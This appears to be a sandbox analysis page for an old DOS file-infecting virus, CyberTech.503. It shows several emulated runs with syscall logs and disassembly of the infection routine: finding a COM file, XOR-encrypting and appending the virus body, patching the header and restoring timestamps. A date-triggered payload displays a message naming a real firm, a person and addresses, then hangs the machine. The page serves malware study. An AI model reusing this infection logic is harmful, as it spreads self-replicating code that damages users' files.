Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.503

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T21:56:35.357921526Z 42 PC: 12a7e | Get date 0x12a7e: cmp dh, 8
0x12a81: jb 0x12a97
0x12a83: cmp dl, 0x16
0x12a86: jb 0x12a97
0x12a88: cmp al, 3
0x12a8a: jne 0x12a97
0x12a8c: mov ah, 9
0x12a8e: lea dx, word ptr [bp + 0x131]
0x12a92: int 0x21
0x12a94: cli
0x12a95: jmp 0x12a94
0x12a97: cmp dh, 5
0x12a9a: jae 0x12a9f
0x12a9c: jmp 0x12b4f
0x12a9f: mov ah, 0x1a
0x12aa1: mov dx, 0xfc00
0x12aa4: int 0x21
0x12aa6: mov ah, 0x4e
0x12aa8: lea dx, word ptr [bp + 0x12b]
0x12aac: xor cx, cx
2018-12-17T21:56:35.360724814Z 26 PC: 12aa6 | Set disk transfer address
2018-12-17T21:56:35.361843163Z 78 PC: 12ab0 | Find first file
2018-12-17T21:56:35.367734641Z 67 PC: 12abd | Get or set file attributes
2018-12-17T21:56:35.375462774Z 67 PC: 12ac5 | Get or set file attributes
2018-12-17T21:56:35.391157174Z 61 PC: 12aca | Open file (Filename = 'SLEEP.COM')
2018-12-17T21:56:35.397858253Z 87 PC: 12ad0 | Get or set file date and time
2018-12-17T21:56:35.40028489Z 63 PC: 12add | Read file or device (Read 4 bytes on handle 5)
2018-12-17T21:56:35.407106714Z 66 PC: 12b03 | Move file pointer
2018-12-17T21:56:35.40875313Z 44 PC: 12b16 | Get time 0x12b16: mov byte ptr cs:[bp + 0x17], dl
0x12b1a: lea si, word ptr [bp + 4]
0x12b1d: mov di, 0xfd00
0x12b20: mov cx, 0x17
0x12b23: rep movsb byte ptr es:[di], byte ptr [si]
0x12b25: lea si, word ptr [bp + 0x1b]
0x12b28: mov cx, 0x1e0
0x12b2b: lodsb al, byte ptr [si]
0x12b2c: xor al, dl
0x12b2e: stosb byte ptr es:[di], al
0x12b2f: loop 0x12b2b
0x12b31: mov ah, 0x40
0x12b33: mov dx, 0xfd00
0x12b36: mov cx, 0x1f7
0x12b39: int 0x21
0x12b3b: mov ax, 0x4200
0x12b3e: call 0x22afd
0x12b41: mov ah, 0x40
0x12b43: lea dx, word ptr [bp + 0x128]
0x12b47: mov cx, 4
2018-12-17T21:56:35.41606544Z 64 PC: 12b3b | Write file or device (Write 503 bytes on handle 5)
2018-12-17T21:56:35.425310627Z 66 PC: 12b03 | Move file pointer
2018-12-17T21:56:35.426996232Z 64 PC: 12b4c | Write file or device (Write 4 bytes on handle 5)
2018-12-17T21:56:35.435221071Z 87 PC: 12b65 | Get or set file date and time
2018-12-17T21:56:35.43759511Z 62 PC: 12b69 | Close file
2018-12-17T21:56:35.44510004Z 67 PC: 12b72 | Get or set file attributes
2018-12-17T21:56:35.454802214Z 26 PC: 12b56 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":717,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:27.672609811Z 42 PC: 12a7e | Get date 0x12a7e: cmp dh, 8
0x12a81: jb 0x12a97
0x12a83: cmp dl, 0x16
0x12a86: jb 0x12a97
0x12a88: cmp al, 3
0x12a8a: jne 0x12a97
0x12a8c: mov ah, 9
0x12a8e: lea dx, word ptr [bp + 0x131]
0x12a92: int 0x21
0x12a94: cli
0x12a95: jmp 0x12a94
0x12a97: cmp dh, 5
0x12a9a: jae 0x12a9f
0x12a9c: jmp 0x12b4f
0x12a9f: mov ah, 0x1a
0x12aa1: mov dx, 0xfc00
0x12aa4: int 0x21
0x12aa6: mov ah, 0x4e
0x12aa8: lea dx, word ptr [bp + 0x12b]
0x12aac: xor cx, cx
2018-12-25T11:41:27.67524961Z 26 PC: 12b56 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":6,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":717,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:27.904379359Z 42 PC: 12a7e | Get date 0x12a7e: cmp dh, 8
0x12a81: jb 0x12a97
0x12a83: cmp dl, 0x16
0x12a86: jb 0x12a97
0x12a88: cmp al, 3
0x12a8a: jne 0x12a97
0x12a8c: mov ah, 9
0x12a8e: lea dx, word ptr [bp + 0x131]
0x12a92: int 0x21
0x12a94: cli
0x12a95: jmp 0x12a94
0x12a97: cmp dh, 5
0x12a9a: jae 0x12a9f
0x12a9c: jmp 0x12b4f
0x12a9f: mov ah, 0x1a
0x12aa1: mov dx, 0xfc00
0x12aa4: int 0x21
0x12aa6: mov ah, 0x4e
0x12aa8: lea dx, word ptr [bp + 0x12b]
0x12aac: xor cx, cx
2018-12-25T11:41:27.906937598Z 26 PC: 12aa6 | Set disk transfer address
2018-12-25T11:41:27.909176855Z 78 PC: 12ab0 | Find first file
2018-12-25T11:41:27.916212327Z 67 PC: 12abd | Get or set file attributes
2018-12-25T11:41:27.923767502Z 67 PC: 12ac5 | Get or set file attributes
2018-12-25T11:41:27.942346458Z 61 PC: 12aca | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:27.950367685Z 87 PC: 12ad0 | Get or set file date and time
2018-12-25T11:41:27.952441493Z 63 PC: 12add | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:41:27.960926603Z 66 PC: 12b03 | Move file pointer
2018-12-25T11:41:27.962899142Z 44 PC: 12b16 | Get time 0x12b16: mov byte ptr cs:[bp + 0x17], dl
0x12b1a: lea si, word ptr [bp + 4]
0x12b1d: mov di, 0xfd00
0x12b20: mov cx, 0x17
0x12b23: rep movsb byte ptr es:[di], byte ptr [si]
0x12b25: lea si, word ptr [bp + 0x1b]
0x12b28: mov cx, 0x1e0
0x12b2b: lodsb al, byte ptr [si]
0x12b2c: xor al, dl
0x12b2e: stosb byte ptr es:[di], al
0x12b2f: loop 0x12b2b
0x12b31: mov ah, 0x40
0x12b33: mov dx, 0xfd00
0x12b36: mov cx, 0x1f7
0x12b39: int 0x21
0x12b3b: mov ax, 0x4200
0x12b3e: call 0x22afd
0x12b41: mov ah, 0x40
0x12b43: lea dx, word ptr [bp + 0x128]
0x12b47: mov cx, 4
2018-12-25T11:41:27.965718285Z 64 PC: 12b3b | Write file or device (Write 503 bytes on handle 5)
2018-12-25T11:41:27.97699221Z 66 PC: 12b03 | Move file pointer (See above)
2018-12-25T11:41:27.978767794Z 64 PC: 12b4c | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:41:27.999507823Z 87 PC: 12b65 | Get or set file date and time
2018-12-25T11:41:28.001582869Z 62 PC: 12b69 | Close file
2018-12-25T11:41:28.011909376Z 67 PC: 12b72 | Get or set file attributes
2018-12-25T11:41:28.031347121Z 26 PC: 12b56 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":717,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:27.930273085Z 42 PC: 12a7e | Get date 0x12a7e: cmp dh, 8
0x12a81: jb 0x12a97
0x12a83: cmp dl, 0x16
0x12a86: jb 0x12a97
0x12a88: cmp al, 3
0x12a8a: jne 0x12a97
0x12a8c: mov ah, 9
0x12a8e: lea dx, word ptr [bp + 0x131]
0x12a92: int 0x21
0x12a94: cli
0x12a95: jmp 0x12a94
0x12a97: cmp dh, 5
0x12a9a: jae 0x12a9f
0x12a9c: jmp 0x12b4f
0x12a9f: mov ah, 0x1a
0x12aa1: mov dx, 0xfc00
0x12aa4: int 0x21
0x12aa6: mov ah, 0x4e
0x12aa8: lea dx, word ptr [bp + 0x12b]
0x12aac: xor cx, cx
2018-12-25T11:41:27.933319857Z 26 PC: 12aa6 | Set disk transfer address
2018-12-25T11:41:27.936154743Z 78 PC: 12ab0 | Find first file
2018-12-25T11:41:27.943290732Z 67 PC: 12abd | Get or set file attributes
2018-12-25T11:41:27.950485591Z 67 PC: 12ac5 | Get or set file attributes
2018-12-25T11:41:27.972226683Z 61 PC: 12aca | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:27.979909359Z 87 PC: 12ad0 | Get or set file date and time
2018-12-25T11:41:27.981699996Z 63 PC: 12add | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:41:27.989470744Z 66 PC: 12b03 | Move file pointer
2018-12-25T11:41:27.991126343Z 44 PC: 12b16 | Get time 0x12b16: mov byte ptr cs:[bp + 0x17], dl
0x12b1a: lea si, word ptr [bp + 4]
0x12b1d: mov di, 0xfd00
0x12b20: mov cx, 0x17
0x12b23: rep movsb byte ptr es:[di], byte ptr [si]
0x12b25: lea si, word ptr [bp + 0x1b]
0x12b28: mov cx, 0x1e0
0x12b2b: lodsb al, byte ptr [si]
0x12b2c: xor al, dl
0x12b2e: stosb byte ptr es:[di], al
0x12b2f: loop 0x12b2b
0x12b31: mov ah, 0x40
0x12b33: mov dx, 0xfd00
0x12b36: mov cx, 0x1f7
0x12b39: int 0x21
0x12b3b: mov ax, 0x4200
0x12b3e: call 0x22afd
0x12b41: mov ah, 0x40
0x12b43: lea dx, word ptr [bp + 0x128]
0x12b47: mov cx, 4
2018-12-25T11:41:27.993586096Z 64 PC: 12b3b | Write file or device (Write 503 bytes on handle 5)
2018-12-25T11:41:28.002960696Z 66 PC: 12b03 | Move file pointer (See above)
2018-12-25T11:41:28.005126233Z 64 PC: 12b4c | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:41:28.012722757Z 87 PC: 12b65 | Get or set file date and time
2018-12-25T11:41:28.015030499Z 62 PC: 12b69 | Close file
2018-12-25T11:41:28.024025963Z 67 PC: 12b72 | Get or set file attributes
2018-12-25T11:41:28.036026903Z 26 PC: 12b56 | Set disk transfer address

{"DateBased":true,"Day":22,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":717,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:28.027354992Z 42 PC: 12a7e | Get date 0x12a7e: cmp dh, 8
0x12a81: jb 0x12a97
0x12a83: cmp dl, 0x16
0x12a86: jb 0x12a97
0x12a88: cmp al, 3
0x12a8a: jne 0x12a97
0x12a8c: mov ah, 9
0x12a8e: lea dx, word ptr [bp + 0x131]
0x12a92: int 0x21
0x12a94: cli
0x12a95: jmp 0x12a94
0x12a97: cmp dh, 5
0x12a9a: jae 0x12a9f
0x12a9c: jmp 0x12b4f
0x12a9f: mov ah, 0x1a
0x12aa1: mov dx, 0xfc00
0x12aa4: int 0x21
0x12aa6: mov ah, 0x4e
0x12aa8: lea dx, word ptr [bp + 0x12b]
0x12aac: xor cx, cx
2018-12-25T11:41:28.030752221Z 26 PC: 12aa6 | Set disk transfer address
2018-12-25T11:41:28.031894842Z 78 PC: 12ab0 | Find first file
2018-12-25T11:41:28.037688418Z 67 PC: 12abd | Get or set file attributes
2018-12-25T11:41:28.043882972Z 67 PC: 12ac5 | Get or set file attributes
2018-12-25T11:41:28.76450709Z 61 PC: 12aca | Open file (Filename = 'SLEEP.COM')
2018-12-25T11:41:28.77720501Z 87 PC: 12ad0 | Get or set file date and time
2018-12-25T11:41:28.779760539Z 63 PC: 12add | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:41:28.787058519Z 66 PC: 12b03 | Move file pointer
2018-12-25T11:41:28.789488686Z 44 PC: 12b16 | Get time 0x12b16: mov byte ptr cs:[bp + 0x17], dl
0x12b1a: lea si, word ptr [bp + 4]
0x12b1d: mov di, 0xfd00
0x12b20: mov cx, 0x17
0x12b23: rep movsb byte ptr es:[di], byte ptr [si]
0x12b25: lea si, word ptr [bp + 0x1b]
0x12b28: mov cx, 0x1e0
0x12b2b: lodsb al, byte ptr [si]
0x12b2c: xor al, dl
0x12b2e: stosb byte ptr es:[di], al
0x12b2f: loop 0x12b2b
0x12b31: mov ah, 0x40
0x12b33: mov dx, 0xfd00
0x12b36: mov cx, 0x1f7
0x12b39: int 0x21
0x12b3b: mov ax, 0x4200
0x12b3e: call 0x22afd
0x12b41: mov ah, 0x40
0x12b43: lea dx, word ptr [bp + 0x128]
0x12b47: mov cx, 4
2018-12-25T11:41:28.793172379Z 64 PC: 12b3b | Write file or device (Write 503 bytes on handle 5)
2018-12-25T11:41:28.802107241Z 66 PC: 12b03 | Move file pointer (See above)
2018-12-25T11:41:28.803962208Z 64 PC: 12b4c | Write file or device (Write 4 bytes on handle 5)
2018-12-25T11:41:28.810505826Z 87 PC: 12b65 | Get or set file date and time
2018-12-25T11:41:28.813280065Z 62 PC: 12b69 | Close file
2018-12-25T11:41:28.821359739Z 67 PC: 12b72 | Get or set file attributes
2018-12-25T11:41:28.833138389Z 26 PC: 12b56 | Set disk transfer address

{"DateBased":true,"Day":27,"Month":8,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":717,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:41:28.204770807Z 42 PC: 12a7e | Get date 0x12a7e: cmp dh, 8
0x12a81: jb 0x12a97
0x12a83: cmp dl, 0x16
0x12a86: jb 0x12a97
0x12a88: cmp al, 3
0x12a8a: jne 0x12a97
0x12a8c: mov ah, 9
0x12a8e: lea dx, word ptr [bp + 0x131]
0x12a92: int 0x21
0x12a94: cli
0x12a95: jmp 0x12a94
0x12a97: cmp dh, 5
0x12a9a: jae 0x12a9f
0x12a9c: jmp 0x12b4f
0x12a9f: mov ah, 0x1a
0x12aa1: mov dx, 0xfc00
0x12aa4: int 0x21
0x12aa6: mov ah, 0x4e
0x12aa8: lea dx, word ptr [bp + 0x12b]
0x12aac: xor cx, cx
2018-12-25T11:41:28.207136735Z 9 PC: 12a94 | Display string (String= ' RTL4 Joop van den Ende Produkties BV Marco Daas (Casting Assistent) Postbus 397 1430 AJ AALSMEER van Cleeffkade 15 1413 BA AALSMEER The Netherlands Wedden dat... je een virus hebt? ')